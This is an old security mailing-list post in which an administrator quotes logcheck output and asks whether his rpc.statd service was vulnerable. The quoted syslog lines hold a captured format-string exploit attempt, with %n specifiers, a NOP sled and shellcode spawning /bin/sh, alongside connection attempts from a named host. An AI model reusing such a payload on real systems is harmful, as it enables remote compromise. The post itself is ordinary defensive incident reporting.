Re: [security] donald 12/20/00:08.02 system check
I'm running logcheck on our machines and every so often I get stuff
like this. I'm quite sure that I'm not vulnerable, but I'd just want
to double check...
[donald.pts/0]$ dpkg -l | grep nfs
ii nfs-common 0.1.9.1-1 NFS support files common to client and serve
Quoting security@air2.net:
> Unusual System Events
> =-=-=-=-=-=-=-=-=-=-=
> Dec 20 08:01:47 donald
> Dec 20 08:01:47 donald /sbin/rpc.statd[235]: gethostbyname error for ^X÷ÿ¿^X÷ÿ¿^Y÷ÿ¿^Y÷ÿ¿^Z÷ÿ¿^Z÷ÿ¿^[÷ÿ¿^[÷ÿ¿%8x%8x%8x%8x%8x%8x%8x%8x%8x%236x%n%137x%n%10x%n%192x%n\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
> Dec 20 08:01:47 donald Ç^F/binÇF^D/shA0À\210F^G\211v^L\215V^P\215N^L\211ó°^KÍ\200°^AÍ\200è\177ÿÿÿ
> Dec 20 07:24:03 donald named[11979]: NSTATS 977293443 977250242 A=70196 NS=1 SOA=18 PTR=16259 MX=682 TXT=1 SRV=429 ANY=694
> Dec 20 08:01:47 donald
> Dec 20 08:01:47 donald syslogd: Cannot glue message parts together
> Dec 20 08:01:47 donald /sbin/rpc.statd[235]: gethostbyname error for ^X÷ÿ¿^X÷ÿ¿^Y÷ÿ¿^Y÷ÿ¿^Z÷ÿ¿^Z÷ÿ¿^[÷ÿ¿^[÷ÿ¿%8x%8x%8x%8x%8x%8x%8x%8x%8x%236x%n%137x%n%10x%n%192x%n\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
> Dec 20 08:01:47 donald Ç^F/binÇF^D/shA0À\210F^G\211v^L\215V^P\215N^L\211ó°^KÍ\200°^AÍ\200è\177ÿÿÿ
> Dec 20 08:01:52 donald tcplogd: sunrpc connection attempt from ns1.startashop.nl [213.239.130.21]
> Dec 20 07:24:03 donald named[11979]: NSTATS 977293443 977250242 A=70196 NS=1 SOA=18 PTR=16259 MX=682 TXT=1 SRV=429 ANY=694
> Dec 20 08:01:52 donald tcplogd: sunrpc connection attempt from ns1.startashop.nl [213.239.130.21]
Reply to: